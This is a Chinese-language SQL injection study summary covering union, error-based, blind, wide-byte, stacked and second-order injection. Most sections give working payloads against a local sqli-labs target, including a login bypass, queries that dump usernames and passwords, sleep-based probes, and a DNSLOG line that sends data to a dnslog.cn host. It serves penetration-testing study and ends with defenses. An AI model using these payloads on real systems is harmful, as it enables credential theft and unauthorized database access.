SQL注入:自我小结
字数 1634 2025-08-15 21:31:32
SQL注入全面教学文档
0x00 SQL注入概述
SQL注入是一种通过输入恶意SQL语句来修改后台数据库操作语句的攻击技术,攻击者可以执行增删改查(CRUD)操作,甚至进行数据库提权。
0x01 SQL注入的危害
- 猜解后台数据库:盗取网站敏感信息
- 绕过验证:使用万能密码如
' or '1'='1' #绕过登录验证 - 数据库提权:借助数据库存储过程进行提权
- 植入木马:向服务器上传恶意文件
- DoS攻击:造成拒绝服务攻击
0x02 SQL注入基本流程
- 判断是否存在注入点及注入类型(字符型/数字型)
- 判断查询列数和回显位置
- 获取数据库信息
- 破解加密数据
- 提升权限
- 内网渗透
0x03 SQL注入分类
按注入变量类型分类
- 数字型:
http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 --+ - 字符型:
http://127.0.0.1/sqli/Less-1/?id=1' #或?id=1' and '1'='1
按请求方式分类
- GET注入:通过修改URL参数进行注入
- POST注入:通过修改POST数据包进行注入
按注入方式分类
- 联合查询注入:使用UNION操作符合并多个SELECT结果
- 报错型注入:通过页面报错信息判断语句正确性
- 堆查询注入:使用分号执行多条SQL语句
- 盲注:
- 布尔盲注:通过页面正常/异常判断
- 时间盲注:通过sleep()函数延迟判断
按编码问题分类
- 宽字节注入:利用编码绕过转义处理
0x04 Union联合查询注入
基本语法
SELECT column_name FROM tables1
UNION
SELECT column_name FROM tables2
注入步骤
- 判断注入点及闭合符号:
id=1'、id=1"、id=1)等 - 判断列数:
order by 3(二分法确定) - 定位回显位置:
id=-1' union select 1,2,3 --+ - 查看所有数据库:
union select 1,2,group_concat(schema_name) from information_schema.schemata - 查看当前数据库表:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" - 查看表字段:
union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" - 获取关键信息:
union select 1,2,group_concat(password,"_",username) from users
0x05 报错注入
原理
利用MySQL函数限制条件触发报错信息回显
常用函数
- Extractvalue:
extractvalue(1,concat('~',(select @@version))) - Updatexml:
updatexml(1,concat('~',(SELECT @@version),0x7e),1) - Floor:
select count(*),concat(floor(rand(0)*2),'~',version())x from information_schema.schemata group by x
注入步骤
- 获取数据库:
and updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 0,1)),1) - 获取表名:
and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1) - 获取字段名:
and updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)
0x06 盲注
布尔盲注
常用函数:
length(string):获取字符串长度substr(string,start,length):截取字符串ascii(str):返回字符ASCII码left(string, n):返回左边n个字符
注入示例:
and length(database())=5 --+
and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='s' --+
时间盲注
常用函数:
if(condition,expr1,expr2):条件判断sleep(n):延迟n秒benchmark(count,expr):重复执行表达式
注入示例:
and if(ascii(substr((select database()),1,1))=112,sleep(5),1) --+
0x07 宽字节注入
原理
利用GBK编码特性,使转义符\与后续字符组合成有效字符
防御方法
- 使用
mysql_set_charset(GBK)指定字符集 - 使用
mysql_real_escape_string进行转义
0x08 堆查询注入
特点
- 使用分号
;执行多条SQL语句 - 可执行任意SQL语句(非仅限于查询)
局限性
- 受API或数据库引擎限制
- Web系统通常只返回第一个查询结果
0x09 其他注入类型
二次注入
- 恶意数据被转义后存入数据库
- 从数据库取出时被还原并执行
二次编码注入
利用urldecode或rawurldecode函数导致二次解码
DNSLOG注入
select LOAD_FILE(CONCAT(SELECT version()),'.tfq4oz.dnslog.cn\\abc')
0x0A 防御措施
- 使用参数化查询(预处理语句)
- 对输入进行严格过滤和转义
- 最小权限原则
- 错误信息处理
- 使用Web应用防火墙(WAF)
0x0B 学习资源
本教学文档涵盖了SQL注入的核心知识点,包括各种注入技术的原理、实现方法和防御措施,适合作为渗透测试和安全研究的学习参考。